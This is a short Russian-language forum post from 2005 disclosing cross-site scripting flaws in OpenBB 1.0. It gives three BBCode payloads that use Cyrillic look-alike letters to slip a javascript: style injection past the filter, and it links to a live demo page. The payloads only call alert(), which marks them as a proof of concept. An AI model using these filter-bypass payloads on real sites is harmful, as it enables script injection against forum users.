Тема: XSS в OpenBB
Показать сообщение отдельно

XSS в OpenBB
  #1  
Старый 23.05.2005, 17:24
KEZ
Banned
Регистрация: 18.05.2005
Сообщений: 1,981
С нами: 11042306

Репутация: 2726


Lightbulb XSS в OpenBB

OpenBB 1.0 (уязвимы возможно и другие версии)
Травиально.

как всегда через руские буквы
Код:
[еmаil=]aaa[/emаil]`style=background:url(javascript:alert());

[cоlor=a]a[/colоr]`style=background:url(javascript:alert());

[sizе=[cоlor=a=`]a[/cоlor]]a[/sizе]`style=background:url(javascript:alert());
Есть ещё XSS, в основном с использованием других тегов,
найти их очень просто, я их не пишу.


Пример работы уязвимости:
http://s-channel.hut.ru/forum/read.php?TID=6&page=1#87

Последний раз редактировалось KEZ; 23.05.2005 в 17:41..
 
Ответить с цитированием